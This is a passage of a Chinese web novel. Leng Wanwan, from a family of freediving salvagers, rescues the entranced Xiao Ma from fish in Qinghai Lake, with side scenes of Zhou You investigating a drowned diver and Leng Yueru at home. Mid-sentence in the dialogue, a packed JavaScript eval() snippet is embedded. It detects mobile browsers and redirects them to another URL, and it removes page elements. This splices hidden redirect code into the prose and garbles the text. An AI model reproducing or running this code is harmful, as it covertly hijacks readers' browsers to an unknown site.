笔记本是大伯当年从青海带回来的,是她爸爸的遗物,当年她爸妈和大伯两口子一起去了青海,最后只有大伯一个人活着回来了,那时冷晚晚还小,大伯一直帮忙保存着,等她长大一些,才交给了她,算是留个念想。 笔记本没多少内容,大部分都是一些笔迹潦草的画,画着各种各样的鱼,各种形态,各种品类。 也就是从拿到这个笔记本开始,她喜欢上了搜罗各种鱼,越是珍稀难寻的,她越是要去寻来,甚至专门搞了个场子,养她从各处寻来的鱼,海里的、河里的、湖里的,有的只能低温养殖,有的又必须高温,有的只能淡水养,有的又必须咸水养,讲究颇多,搞到后来鱼越养越多,开始泛滥成灾,她便开了家私家菜馆。 菜馆名字叫晚来食居,取她自己名字的含义,她父母那个时代,大家结婚生孩子都早,但她父母生她的时候已经三十多岁,算是很晚了,所以给她起名晚晚。 对她这种独特的爱好,冷家人倒是不反对,毕竟是水捞子,有点跟水相关的爱好也挺正常。 话说这水捞子,是一种古老的水下职业,有很多细分市场,有捕鱼捞虾的,有捞石捞沙的,有捞魂捞尸的……而他们冷家则是绝无仅有的另一类,他们天生就有一项绝技,那就是能不依靠任何装备,闭起潜入水底,据说冷老爷子那一代曾有冷家人能潜入水下两三百米,跟鱼似的。 早年间,没有现在那些潜水设备,人想要下到水下几百米根本不可能,但他们冷家却可以,因此冷家在水捞子里是独一份儿的,但凡有相关需求的,都会找上冷家,打捞水底沉船,探查水道安全,水底疏通堵漏……收钱根据活儿的难度来,难度越高挣得也就越多,当然要发现了什么价值连城的宝物,也能分上一杯羹,因此冷家人的日子一直过得不错,子子孙孙不息,渐渐成为了一个大家族。 有那么一年,突然来了几个人,说是要请冷家人去帮他们找“井”,直接拍了几个金锭子在桌上,那时候是明末清初,时局动荡,民不聊生,大户人家的日子也不好过,突然有这么大的生意上门,哪里有不接的道理。 冷家当家人见对方出手阔绰,便想着那井里肯定有了不得的宝贝,到时候说不定还能额外分一笔,于是二话不说就跟对方签了契约,为期一年,帮对方找到所谓的“井。 等冷家人想要详细了解“井”的情况时,对方又开始含糊其辞,吞吞吐吐,只说是让他们一道跟着去青海,到时候就知道了。 很快就整装出发,男人们骑马向着城外绝尘而去,女人们抱着孩子,久久地站在门外,目送他们离开,之后春夏秋冬,四季变化,她们再没等到男人们回来…… 也就是从这时候开始,冷家人开始频繁出入青海,一代又一代,不同的是他们不再是为了钱财,而是为了家门寻求一个真相,而相同的是他们最后都没有回来,原本盛极一时的冷家,门庭日渐凋敝,到了冷月如这一代,冷家人就只剩下三兄妹了,大哥冷柏山,二哥冷仲明,三妹冷月如,后来冷仲明失踪,冷柏山丧妻,冷月如又终身未婚未育,最后到了冷晚晚这一代,冷家就剩下她这么一根独苗了。 窗外突然有人影一闪,向着湖边就去了,冷晚晚先是觉得纳闷,这大晚上的去湖边干嘛,风又大气温又低,可渐渐的,她觉出了不对劲,那人好像是奔着湖里去的,心里渐渐有些发毛,赶忙唤小夭过来。 “小夭,你快过来看看,那人……那人……是不是要自杀啊……” 那人还在往湖水里走,眼见着湖水都齐膝深了,小夭只看了一眼,就惊叫出声:“呀,那不是小马吗?” *** 5. 救人 是小马?他为什么要自杀啊? 来不及多想,也来不及换衣服,冷晚晚赶忙拿起自己的“水下作业包”套在腕上就奔了出去,小夭紧随其后,拿了两条浴巾也跟着奔了出去。 在屋里待着还不觉得,一出门温度骤降,夜风带着湖水的咸湿气息,呼呼猛刮过来,吹得人眼睛都睁开不开,身子直往后退,冷飕飕地吹在裸露的皮肤上,瞬间泛起一片鸡皮疙瘩。 天幕之上月亮高悬,银白色的光让万物依稀可见,冷晚晚向远处的人影望去,只见小马还在往水里走,一步不停。 客栈离湖岸直线距离差不多几十米,但小马走的位置偏了一些,离客栈有些远,冷晚晚深一脚浅一脚地往那边赶,跑到中途拖鞋掉了也顾不得,光着脚接着跑,她身上的丝缎睡袍被吹得鼓胀起来,远远看过去还以为是谁乱扔的塑料袋,被风刮到了半空中。 跑得近了些,冷晚晚忙冲小马喊:“小马,你干什么,快回来!” 小马像是压根听不见,仍旧一步一步向深水区走,他身体僵直,目视前方,湖水眼见着就要淹没他的前胸。 冷晚晚吓得要死,一颗心瞬间提到了嗓子眼,连出口的喊声都颤了:“小马,你别吓我,快回来!快回来!” 话音刚落,小马像是被什么突然拖入水底,瞬间从湖面失去了踪迹,冷晚晚眼见情况不对,三步并作两步,一个跃起入水,扑通一声就跳进了湖里。 小夭抱着浴巾很快也赶到岸边,湖面很快归于平静,四周静极了,只能听见夜风的呼号和湖水拍岸,客栈远在斜后方,一两扇窗户里透出微亮的暖光,她紧盯着深沉无尽的湖面,还是忍不住吐槽一句:“得,还是破例在晚上下了水!” 小夭其实一点也不担心冷晚晚下水的安全,冷晚晚毕竟是冷家人,下水对他们来说,那简直就是如鱼得水,是与生俱来的天赋,是她这种普通人夜以继日辛苦练习也万万赶不上的,冷晚晚以前每日下水时,她都在岸上陪着,这么多次什么事儿也没有,有时候她都觉得是月如妈太过小题大做。 时间一点一点过,小夭左等右等,也没见人从湖里出来,怎么回事儿啊?小夭开始有些不淡定了,心想着不能啊,以冷晚晚的本事,去水底捞个人还不是轻而易举,怎么会这么长时间还没上来? 这时,她脑子里突然冒出一种不好的猜想——不会是在水下遇到危险了吧? 她被自己的这个猜想吓到了,不会这么巧吧!来之前月如妈千叮咛万嘱咐,一定要看住冷晚晚,不让她晚上下水,怕出事,难道真不能晚上下水? “呸呸……呸!我在想什么呢!” 小夭生怕自己乌鸦嘴,赶忙往外吐了几口,之后双手合十,不停向天拜拜:“冷家祖宗快显灵,坏的不灵好的灵!坏的不灵好的灵!” ***** 冷晚晚一入水就从“水下作业包”里取出了迷你潜水灯,又翻出冷家的“天罗地网”紧紧攥在手里。 这“天罗地网”最初是为水下作业防身而研制的,毕竟水下世界千奇百怪,总会遇见一些凶险的状况,“天罗地网”以渔网为设计原型,经过了好几代的改良,能快准狠地控制水下目标物,网子的材料绝大部分都是高强度PE线,为了防磨耐刮,外圈使用了碳素线,整体轻巧又耐磨,也不占体积。 冷家人将网子设计成了针筒样式,外壳坚硬,不怕水不怕火,大小只有十来厘米长,单手就可紧紧握住,随身携带也很方便,撒网时用力按下一端,网子就会瞬间喷射而出,向着目标物扑过去。 后期为了增强了网子的杀伤力,还对边缘一圈的铅块做了改动,改成了可控的迷你铁风车模式,不启动就是普通版,一旦启动,网子喷出的同时,铁风车也会同步开启,随着水流快速旋转,牵引着网子向着四面八方散开,而且风车的各个面都打磨得锋利无比,每个风车得中心还连接着一枚纤细的倒刺鱼钩,一旦扎入活物体内根本摆脱不了,也是为了应对在水底遇见不明情况的攻击,以便能够先发制敌。 夜晚的水域能见度很低,潜水灯打出去看不了多远,她先是在小马落水区域搜了一番,什么都没发现,心里正纳闷人呢?明明是在这附近落的水,怎么可能找不着呢?正想着往更深处去看看,这时突然发现不远处的水域有异动,而且灯光打过去时,有银白色的光点一闪一闪。 那是什么东西?小马会不会在那个方向? 跟过去看看! 冷晚晚加快摆动双腿,腰腹更加用力,双臂奋力划水,整个身体看起来灵动流畅,向前时展露出优美的身姿曲线,柔顺的睡袍绕着身子翩翩然漂浮摆动,发丝如丝又如雾,跟随身体上下轻舞,更添梦幻美感。 近了,那个银白色的光点越来越近了,冷晚晚睁大眼睛死盯着那一处,身体奋力摆动向前,她很快就看清了那银白色光点的来源——是一群鱼,密密匝匝挤挨着一起,形成了一个硕大的椭圆形,鱼和鱼之间几乎没有一丁点缝隙,打眼看就像是一颗巨型的蛋在水下快速移动,看上去莫名有点诡异吓人。 冷晚晚靠近的声音惊动了鱼群,它们像是并不怕人,甚至有些直面挑衅的意味,很快分流出一部分鱼,形成了一支小分队,迅速调转方向朝着冷晚晚这边冲过来,冷晚晚立刻意识到不对劲,糟糕!这些鱼气势汹汹,分明是想来攻击她,它们来势快如闪电,她不得不调整方向往一侧闪避。 也就是这一闪一避的瞬间,她无意间看了鱼群的先头部队一眼,这一看不要紧,分明看到密密匝匝的鱼群里包裹着一个人,看身型和衣着,她眼睛陡然间瞪大。 是小马! 也就在这个愣神的间隙,鱼群龇牙咧嘴朝她冲过来,一排排尖利的牙齿近在眼前,她突然还了魂,赶紧一个折身下潜,鱼群几乎是擦着她脚底板过去的,她紧接着迅速窜到鱼群下方,借着上下位差时间,卯足劲儿向前窜出去好远,那些鱼当然也不会善罢甘休,一路紧追不舍,摆明了不想让她跟上大部队,更不想让她救下小马。 冷晚晚被鱼追得左闪右躲,上下翻腾,跟在玩水中杂耍似的,几个回合之后,鱼群发了狠,攻势愈发凶猛,搞得她几乎精疲力尽,好几次都避之不及,差点被鱼咬到。 不行!不能再跟它们耗下去了,救人要紧! 她突然慢下速度,等着鱼群再次靠过来,只见她微微抬起右手,手心紧握着“天罗地网”,她按下按钮,打开了铁风车模式,屏息凝神等待着时机,心中暗道:“是你们先挑衅的,就别怪我不客气了!” 等到鱼群离自己还有半米距离时,迅速按出网子,网子喷射而出的瞬间像是炸开的白色花朵,铁风车迅速牵引着网子向着四面八方张开,径直将扑过来的鱼群网在其中,冷晚晚此时手里只剩下一个十来厘米长的外壳,但其实也是网子的操作手柄,她见差不多了,握着外壳又一按按钮,网口迅速收紧,尽数将鱼兜住。 偶有两三只漏网之鱼,见状况不对,赶忙掉头就跑,去追赶前方的大部队了。 网子越收越紧,鱼和鱼紧紧挤挨在一起,形成了一个扎实的“大鱼球”,直往水底坠,网中的鱼仍不消停,一直冲撞不停,不能再耽误时间了,只能不做二不休,冷晚晚用力一拧手中的外壳,网边的铁风车便开始飞速转起来,那些鱼虽然长着铁齿铜牙,奈何还是普通肉身,哪里能抵住锋利的刀刃呢,网子迅速变成了一个大型搅碎机,瞬间血雾腾起,方才凶狠异常的鱼,顷刻间就化成了浑浊鲜红的肉沫,从网眼漏出,渐渐沉了下去。 鱼群的先头部队知道遇见了狠角色,赶忙加快游速。 冷晚晚扯了扯“天罗地网”,抖掉一些残渣遗骸,又扭了扭外壳,这网子就像卷尺似的,咻咻两下,又听话的收了回去,如此这般设计,网子可以在水下反复利用,她不得不承认,她们冷家人确实有点脑子,这玩意儿在水下确实好用。 鱼群见识到了“天罗地网”的威力,颇有些忌惮,不敢再次攻击,一心想要拖着小马跑路,冷晚晚顿时士气大涨,一连串用力推水,身体一下子猛窜出去,眼见着头顶就要触到鱼群大部队了,她不管不顾,又放了一网,这一次她没开铁风车,目的只是为了网住人! 反正不管三七二十,人和鱼一网兜住,拉拽着就拼了命地往上游,本来跟这群死鱼缠斗就颇耗费了一些力气,这会儿拉着网子就更是费劲,感觉眼花了,心脏和肺都快要炸开了,但她知道不能停,鬼知道那群死鱼会不会去搬救兵,得快点出水,小夭会在岸上接应她的…… 冷晚晚从湖面上冒头的时候,小夭一脸惊喜地差点叫出声,冷晚晚疲累地朝她招招手,晃了晃手里的网子外壳,小夭便知道有情况,没有一秒的犹豫,当即把浴巾扔到岸边就跳进了湖水里。 虽然正值盛夏,但湖水却很冷,两人冻得浑身发抖,费了九牛二虎之力才把一网兜子东西拉上岸,冷晚晚终于体力不济,累瘫在地上大口喘气,小夭稍微好一点,一边喘气,一边捡起地上的干浴巾扔给冷晚晚。 “赶紧擦擦,小心感冒!” 咻咻咻,网子收回,鱼散落一地,蹦蹦跳跳让人眼花缭乱。 冷晚晚喘着粗气说:“快,把他拖出来,让他把水吐出来!” 说完,又忙补充了一句:“这鱼牙齿很厉害,会咬人,你小心一点!” 小夭眼尖,一眼就看到了鱼堆下覆盖的小马,赶忙用另一条浴巾裹住手,胡乱拨开鱼,小马的身体露了出来,小夭拽住他的脚踝,把他整个人拖出鱼堆,此时的小马已经毫无意识,小夭赶忙趴在他身上开始实施急救。 小马身上似乎有很多伤,小夭给他做心肺复苏的时候,闻到了浓重的血腥味,一下一下又一下,不停按压胸腔,小夭身体渐渐发热,后背浮出一层细汗,风一吹冰凉一片。 小马一直没有反应,小夭渐渐有些着急,但她也知道急救就是与死神争分夺秒,不到最后一刻绝不能放弃,也不知道按了多久,小马突然有了反应,喉咙间咕噜一阵响,哇一声就吐了出来。 吐了就好了!吐了就好!这算是活了!至少命不会丢了! 成功救下了一条年轻的生命,两人皆是长吁一口气,看着对方浑身湿透,头发乱糟糟贴在头皮上的狼狈样子,不禁相视一笑。 **** 小马突然自杀这件事,涉及私人原因,肯定是越少人知道越好,她们便想着偷偷把他弄回宿舍,小心照看着,等明天他醒了,再好好劝导一番。 唉!年纪轻轻怎么这么想不开呢?! “不会是因为跟央金吵架了,就要自杀吧!” 小夭垂着脑袋,心里有些愧疚不安,想着自己真不应该瞎玩的,这下可好,直接玩过火了…… 冷晚晚拍了拍小夭,说道:“先别多想,把他弄回去再说……” 两人一左一右架着昏迷的小马往客栈走,客栈员工宿舍和客房是分开的,这倒是帮了他们,要不然被客人看见,过会儿小马的事儿肯定就人尽皆知了。 两人偷偷摸摸,架着小马做贼一样溜了回去,生怕惊动任何人,好不容易到了宿舍门口,看到紧闭的大门,冷晚晚突然意识到她们没钥匙,这怎么进去? “摸摸看,小马身上会不会有钥匙?”小夭说。 冷晚晚无语:“……人家都要投湖自尽了,怎么可能还会带房间钥匙呢!” 小夭后知后觉:“哦……也对……” 这时,冷晚晚像是突然想到什么,颇有意味地看了小夭一眼,朝她抬了抬下巴,又紧接着朝门口指了指,小夭立马明白过来,连连摇头拒绝:“不行!不行!我答应过我月如妈,以后绝对不再干这种偷鸡摸狗的事儿了!我发过誓的!” 冷晚晚眉毛一挑,问道:“你发的什么誓?” “要是再犯,一吃棒棒糖就牙烂,一辈子吃不到饱饭,一辈子和帅哥有缘无份……” 冷晚晚也是没想到,啧啧感叹:“……没想到姑姑……这么狠啊……” 但紧接着,她话锋一转:“你这是为了救人,是大好事,不算犯规!你看看小马这一脸残样,刚刚在水里泡了这么久, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319307|199037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又被那么多鱼攻击,不赶紧看看,换身干衣服,肯定会生病的!” 小夭看看小马,又看看冷晚晚,咬着嘴唇犹豫了会儿,最后挣扎道:“可是我没有工具……我刚刚洗了头,头上连个一字夹都没有……” 冷晚晚忙说:“快回去拿,这里离我们房间也不远,跑起来,顶多一分钟就能来回了!!” 小夭没办法,只好急匆匆跑回去,拿来几个一字夹,用力把夹子撑开,把一头的尖尖伸进钥匙孔里,就那么鼓捣了几下,门锁咔哒一声就打开了。 冷晚晚赞许地看了小夭一眼,小夭微微得意:“还行,手艺没生疏!” 两人麻利地把小马架回屋里,客栈宿舍男女分开,男宿舍里就住着小马一个人,屋子里东西很少,但收拾得很干净,她们先把他放在床上,此时也顾不得男女有别,正准备帮他脱掉湿透的外衣,小夭突然发现小马的一条胳膊不对劲,好像是一只手没了,更准确地说是手指上的皮肉都没了,露出了白森森的骨头,手背上的肉也都没了,手掌上的肉还留下一半,能看到殷红的筋肉。 看到此情此景,两人皆是全身一寒。 “这怎么回事啊!”小夭惊恐地问。 “肯定是在水下,被那群死鱼咬着吃了!” 说话间,冷晚晚突然注意到小马受伤那只手的小臂上鼓起一个包,似乎有什么活物在里面游走,正一点点往上臂的方向移动,她心下大骇,赶忙用毛巾在他小臂上紧紧系上,阻止了那个活物继续向上。 小夭也看到了那个反常的鼓包,身上登时寒毛直竖,脑门上嗖嗖直冒凉风,她跟冷晚晚对视一眼,颤着声音问:“那是个什么玩意儿啊!” “把它弄出来就知道了!” 冷晚晚说着,心一横,双手掐住小马的胳膊,一路往下赶,那活物终于躲无可躲,从残手的破口处掉出来,啪唧一声掉在地上,还扑腾了两下。 两人赶忙蹲低身子去看,等两人看清,皆是一阵不寒而栗。 是一只鱼,只有食指一般长,周身裹着黄色的颗粒,看起来像是鱼籽。 “竟然是鱼,他为什么要往他身体里钻啊……”小夭一脸愕然,实在想不通。 “应该就是刚刚在水下攻击他的鱼……” 冷晚晚说着又看了看小马的伤口,伤口创面很大,里面也有不少黄色的颗粒物,鬼知道那鱼身上有没有什么病菌之类的东西,就这样让伤口敞着根本不行,得马上弄去医院处理,她们跟小马非亲非故根本负不了责,情势紧急,冷晚晚想了想,吩咐小夭:“你去把老板娘叫来,不要声张,就跟她一个人说小马出事了,让她快来,咱们得快点把他送医院。” “好!”小夭点点头,就像一阵风奔了出去。 冷晚晚查看了一下小马的气息和心跳,应该一时半会儿没问题,她又低头看了看地上的鱼,从桌上拿起一个玻璃杯,杯中还剩下半杯水,她蹲下身去,用毛巾包住手,把鱼捏住扔进了玻璃杯,鱼遇见了水,顿时活跃起来,在杯子里上蹿下跳,她把杯子挪到灯下细细看了看,看着看着,她突然浑身一震。 这是高山雪鲤! 爸爸的笔记本里记录过,她也曾在昆仑山下的冰川水里抓到过!只是这鱼似乎进化了一些,所以打眼看起来眼熟,却又有些不一样,它身上的鱼鳞立起来就像一根根尖刺,会泛出银白色的光。 所以在湖里攻击小马的就是高山雪鲤?这种鱼为什么会出现在青海湖里? ***** 周游把视频画面截图发过去后,等了一个多小时,吴沅也没有再打来电话,打过去也没人接。 时间一分一秒过,周游实在有些坐立难安,不停在屋里走来走去,那抚仙湖似乎有点邪性,吴沅又带着一帮菜鸟,周游生怕他们一时逞能出事。 又等了一会儿,电话终于响了,是吴沅打来的视频电话,周游赶忙接了,吴沅的声音有一丝兴奋,开口第一句就是:“有情况!” 周游心里慌慌的:“什么情况?” “就水底的那个男人,有情况!” 视频那头不时有车声呼啸而过,还能看到背景远处的建筑物,周游忙问:“你现在在哪儿啊?” “派出所啊!” “所以你们报警了,把那人弄上来了?所以男人还活着吗?身份查到了吗?” “没有……唉呀,你先别打岔,我原本好好的思路又被你岔没边了!!!” 周游:“……” 吴沅也不管视频那头周游表情有多臭,低头理了理思绪,又开始吧啦吧啦讲起来:“我跟你讲,你绝对不会想到,我们有个潜水教练看了那个视频截图,一眼就认出来水底那个男人,说是他师父……” “???啊?”这剧情周游倒确实是没想到。 “那教练情绪很激动,马上就又要下水,根本拉不住……你猜后来怎么样?” 吴沅跟说书似的,说一会儿停一会儿,不停制造悬念,这要放在平时,周游肯定要呲他了,一天天爱说不说,磨磨唧唧的,但这次周游倒是真的很好奇,于是耐着性子配合着问:“怎么样?您快说。” “后来我们拿他手里的合影和视频截图对比,应该就是同一个人,连嘴边的黑痣都一样,他们后来又下去一趟,结果什么都没发现,上来的时候还差点出了事,据他说他师父十年前活跃在抚仙湖一带,后来渐渐跟大家断了联系……” 吴沅说着往车门上倚了倚,又接着说:“大家都觉得不对劲,想着去报警,由警方出面把人弄上来,后来我们去报了警,警察叔叔根据潜水教练提供的照片、姓名、户籍地信息帮忙查了查,结果更离奇的事情发生了,警方系统上显示这人是四十年代出生的人,他家人前些年给他申报了失踪,好像70年代就失踪了,最后的失踪地是青海,人一直没有找到,如果按照时间推算,这人今年应该八十多岁了!但视频截图上又完全看不出已经八十高龄的样子……” 听着听着,周游不禁讶异地张大了嘴巴。 *** 6. 冷家 两人的对话还在继续。 周游愣了好一会儿,一时间有些想不明白:“所以,那个人到底是活着,还是早就已经死了?” 吴沅一想到那张诡异的视频截图,就浑身毛骨悚然,下意识耸起肩头抖了抖:“如果警方这边的信息无误,那水底的那个男人就不知道是人是鬼了,现在我光想想那场面就瘆得慌……” 末了,又补了一句:“不过,粉丝应该很爱看这些……” 事情的发展实在离奇惊悚,而且还有继续深扒的可能性,两人都意识到这将是一条极好拍摄线索,光想想就知道呈现出来的内容会多么吸引人——四十年代的潜水员为何沉于抚仙湖底?他到底活着还是死了?七十年代在青海失踪,他又是如何来到抚仙湖?本应八十高龄的他,十年前还在教潜水?为何根本没人看出他的年龄?他身上到底有什么秘密? 吴沅内心有些纠结,他这人从小就很惜命,辛苦、危险的事儿从来不做,眼下这事儿虽然很有看头,但隐隐觉得不简单,继续跟下去实在怕有危险,他跟周游这家伙可不一样,人家胆子大,上天下地都不怕,越有挑战性的事儿越干得起劲,刀山火海都敢闯,吴沅时常感叹,这哥们儿能平安活到现在也真是奇迹…… 但同为男人,更多时候他都发自内心地敬佩周游,有时候甚至很羡慕,因为勇敢坚韧的品质可不是人人都有。 以前在体院的时候,他们俩都是运动训练专业的,选择这个专业的学生多半是冲着成为职业运动员去的,身体素质好,又能吃苦,周游那时候就很拼,训练格外刻苦,别人练一遍,他恨不得练十遍二十遍,并乐此不疲,因为他知道未来掌握在自己手里,不拼就不会有出路。 吴沅不一样,他出生在一个富裕的家庭,从小要什么有什么,根本不用花力气争取,他一开始就知道自己适应不了运动员这行的激烈竞争,每天除了训练就是训练,身上大伤小伤不断,最后拼死拼活也不一定能参加大赛取得好成绩,他实在不明白自己为什么要受这种苦,也不明白自己为什么要跟那些家境不好,必须靠自己谋出路的同学竞争,就算他不工作不挣钱,也能靠家里一辈子吃喝不愁。 不过,他爸不这么想,他爸在商场打拼多年,见多了各种败家子,生怕物质和金钱让自己儿子也腐化堕落,便坚持让他去练了体育,古人不都说了吗?“天将降大任于斯人也,必先苦其心志,劳其筋骨,饿其体肤……” 他算是迫于无奈才去的体院,结果去的第一天就发现自己跟这个学校八字不合,每天都过得苦不堪言,训练苦,上课苦,身上哪哪儿都疼得受不了,出出进进都是一群老爷们儿,日子过得单调乏味,后来实在受不了,他觉得再这样下去,自己可能活不到毕业,于是在家一哭二闹三上吊,搞得父母实在没了办法,才终于如愿退了学。 他这人没什么大的抱负,也没那些纨绔子弟身上吃喝嫖赌的恶习,一心只为继承丰厚家产,过轻松自在的生活,人生的终极梦想就是——“有吃、有喝、有钱、有乐”,为此非常惜命,他不抽烟、不玩车,甚至过马路都小心翼翼,他常挂在嘴边的一句话就是——“哥们儿的命贵着呢,得好好爱惜!” 这样的日子看起来美好,却也时常感到无聊,后来跟周游优势互补,一起搞起了自媒体,吴沅这人除了吃不了苦,怕死以外,其实优点也不少,比如善于交际,为人义气大方,很混得开,所以两人合作以来,他们一个负责外出拍摄,一个负责日常管理。 这次吴沅带队出来,属实也是赶鸭子上架,不想让周游逞能带伤出来拍摄,才硬着头皮上的,他虽然嘴硬说“不就是拍摄么,有什么难的”,但其实心里也知道自己有可能搞不定。 周游看出了吴沅内心的纠结和担忧,问道:“要不然我过去吧!” 吴沅一下子就急眼了:“你过来干嘛!伤彻底好了吗你?!” “差不多了,能下地走路了!” “不行!你要是不好好养着,留下什么后遗症,下半辈子赖上我可怎么办?!” 吴沅说着,想了一会儿,像是突然下了很大决心:“这样,我先在这里等几天看看情况,这条线说不定能搞出个惊天奇闻来,如果不行,我再带人回去……” 周游还是不放心:“真不要我去啊?行不行啊?” 屏幕那头有人叫吴沅,吴沅抬头应了一声,又接着说话,语气渐渐不耐烦:“哎呀,你怎么这么磨磨唧唧,我们这边这么多人,三个臭皮匠还能顶一个诸葛亮呢,你就放心吧!就这样,我不跟你说了啊,我们忙到现在还没吃饭呢,我先吃饭去了!” 周游无奈:“行吧,那你在那边多注意!” “嗯!对了,那个二百八过会儿应该会给你打电话,他说自己手里有东西要分享,我实在没时间搭理他,就让他联系你了……” 一个意想不到的名字出现在对话里,周游下意识皱紧眉头:“二百八?你不知道我跟他关系不好啊?上学的时候就看不惯他!” “你要实在不愿意跟他聊,随便打发了就行。” “嗯……” 挂了电话,周游站在房间里愣了好一会儿,脑中又开始不停闪现水下的视频画面,再结合吴沅刚刚的说法,顿时对那个水底的男人生出了更多好奇,几步又走回电脑桌前,打开了那段视频,反反复复看了很多遍,竟然发现了很多之前忽略的细节。 那男人的脚似乎死死钉在了湖底,水是有浮力的,他为什么能那么稳稳地站在湖底?脚底跟有吸盘似的,周游不断放大画面,又发现男人的身体里像是有什么东西在蠕动,不过他不能确定,也有可能是水流对画面产生了影响…… 一个个疑问不断在脑中累积,就像一层层腾起的迷雾,遮住了他的眼睛。 就在这时,手机响了,不用想肯定是那个二百八来的电话,周游面无表情地盯着不停闪动的手机屏幕,看了好一会儿,才慢腾腾去接。 “喂?周游,哥们儿!最近好吗?”一个粗犷的男声传过来,声音很是热情。 周游不高不兴地“嗯”了一声,又问道:“什么事儿?” “我听说你们在做自媒体,拍视频那种,最近缺不缺素材啊?” “怎么?” “我这里有个事儿,很蹊跷,你想不想过来看看?” “?什么事儿?” “这个一句话说不清楚,得详聊!” “……你现在在哪儿?” “青海!” ******** 荆水的清晨,太阳才刚冒头,夏日的热气就开始肆意蒸腾。 娥姐赶早去菜市场逛了一趟,回来的时候菜篮子里都装满了,新鲜的茭白、青豆、水芹菜、莲藕,还有处理干净的整鸡和排骨,最近天气热,冷月如胃口不太好,娥姐便想着做些清口的菜给她吃吃。 菜市场不远,她拎着菜篮子走了六七分钟,一拐角,就看到了熟悉的院子。 两层楼的苏式合院,外面白墙高耸,矗立在街角深巷一隅,位置隐秘,又没有远离市区,颇有些闹中取静的意境。 娥姐开门进去时,大厅里静悄悄的,冷月如昨晚打麻将打到很晚,按照往日习惯,应该会睡到日晒三竿才起。 她换了拖鞋,拎着菜就去了厨房,拿出冰箱里存着的椰子,麻利地打开,倒出椰子水,剥下椰肉,之后又焯好鸡块,今天她准备做竹笙椰子鸡汤,前几日跟短视频里学的,鲜甜清淡,很适合夏天,材料准备妥当,椰子水和鸡块一起下了锅,小火慢炖着。 趁着炖汤的功夫,她拿着剪刀,拎着一篮子东西,穿过大厅,到院子里去了,这院子足足两百多平,一眼看过去,只能用一个词来概括,那就是“眼花缭乱”。 苏式风格的假山、凉亭、湖景、风雨连廊一应俱全,颇为古韵和素雅,但冷月如却不怎么喜欢,她有一套自己的审美哲学,当初买这院子也不是冲着设计,主要是图它地理位置好,离冷晚晚学校很近,附近又有商超、菜市场和医院,日常生活很方便,最最最主要的是当时她急于从冷家老宅子里搬出来,不然日日被冷老爷子唠叨,真的要命。 娥姐还记得,冷月如刚搬进这院子没两天,就各种不满意,不顺眼,总觉得院子里太素了,没有一点鲜活热闹的气息,后来实在忍无可忍,便亲自动手,把院墙边的绿植通通换成了月季、绣球和栀子花,反正什么开花热闹种什么,还让司机老江跟佟刚在院墙上安了月季爬藤架,后来又在院子中央的大池子里养了十来条锦鲤。 最后看着院子里翻天覆地的变化,她才心满意足地说:“这样才对,这才是我冷月如的风格!” 如今好些年过去了,院子里的各种花早已长得蓬勃繁茂,正值盛夏,花也开得正旺,一蓬蓬,一簇簇,开得热闹非凡,满院满墙都是,放眼望去,红的、黄的、紫的、白的,煞是好看,深吸一口气,空气中都弥漫着浓郁的花香。 娥姐每天早上照例会到院子里剪一筐鲜花,拿来插瓶,一般这个时候,池子里的那群肥圆肥圆的锦鲤就会急得不行,如果不喂它们,非闹个翻天不可。 这不,娥姐刚踏进院子,锦鲤们就按耐不住骚动起来,一个个高高扬起脑袋,嘴巴大张着露出了水面,迫不及待地等待投喂。 最开始,娥姐也不懂怎么喂这些小东西,司机老江的老伴儿是个养猪能手,说这都是动物,养起来应该都差不多,便给了娥姐一些“养猪秘籍”,娥姐也就是靠着这些“养猪秘籍”,渐渐摸出了养锦鲤的门道,每天雷打不动要喂一斤粮食,外加一颗大白菜,就这么一日复一日,终于成功把锦鲤喂成了猪。 喂完锦鲤,插好花,娥姐又接上了水管,到院子各处给花浇水,风雨连廊一侧有个小旁院,她开出了几块地,种了些青菜,不过种得晚了些,菜苗还没长多大。 娥姐陆陆续续忙完各种杂活儿,忙着做午饭的时候,冷月如醒了,她在房间磨蹭了好一会儿,人还没下楼呢,就先用手机连上了楼下大厅里的蓝牙音响,放起了歌。 歌曲很杂,时而是乡村,时而爵士,时而舒缓,时而激越,时而民谣小清新,时而农业重金属,这很符合她的风格,喜欢的东西很多元,没有一种定式。 放了好一会儿歌,冷月如才穿着一身真丝睡裙,脚步轻快地从楼上下来,她比实际年龄要年轻很多,看上去最多四十出头,脸上皮肤紧致有光泽,一头乌亮蓬松的头发随意夹在脑后。 食物的香气一阵阵从厨房里飘散出来,冷月如闻了闻,笑意盈盈地拉开厨房门,好奇地问:“娥姐,今天做的什么菜啊,怎么这么香?” 娥姐正在炒菜,忙把她往外赶:“快出去,厨房里热!你先出去转转,一会儿就开饭!” 冷月如知道自己帮不上忙,便听话地退出去,顺手关上了厨房的门,准备先去院子里逛逛。 外头太阳火辣辣地暴晒着大地,连一贯活跃的锦鲤都躲在凉亭下的阴影里避暑,她躲着阳光,沿着风雨连廊绕了一圈,看了看开得热烈的月季和绣球,摘了几朵喷香的栀子花,最后又去凉亭逗了逗池子里的锦鲤,直到娥姐在大厅里叫她吃饭。 进屋的时候,菜已经上桌,茭白青豆羹,清炒藕片,肉丝水芹菜,竹笙椰子鸡汤,看起来就清爽可口,引得食欲大开,冷月如在餐桌旁坐定,娥姐先给她盛了一碗汤,之后便在她对面坐下。 两人无声地吃了一会儿,娥姐突有所感:“时间过得可真快啊,晚晚她们都出去一个多月了,你别说这屋子里一下子冷清了好多……” 冷月如环顾四周,点点头:“是啊!” “小姑娘家在外面真是不让人放心,也不知道会不会出什么事……” 冷月如喝了口汤,笑着说:“这丫头每年都要出去一段时间,你还没习惯啊,没事儿,让她去呗,女孩子多去外面涨涨见识也好,再说了不还有小夭看着她么……这俩丫头都机灵着呢……” 一提到小夭,娥姐停下筷子,露出一脸不敢恭维的表情:“小夭,那算了,她能看住晚晚?她自己不惹事算不错了!我跟你说,我昨天晚上做梦了……” “怎么了?梦不好?” 娥姐点点头:“这不出事还好,要真出点 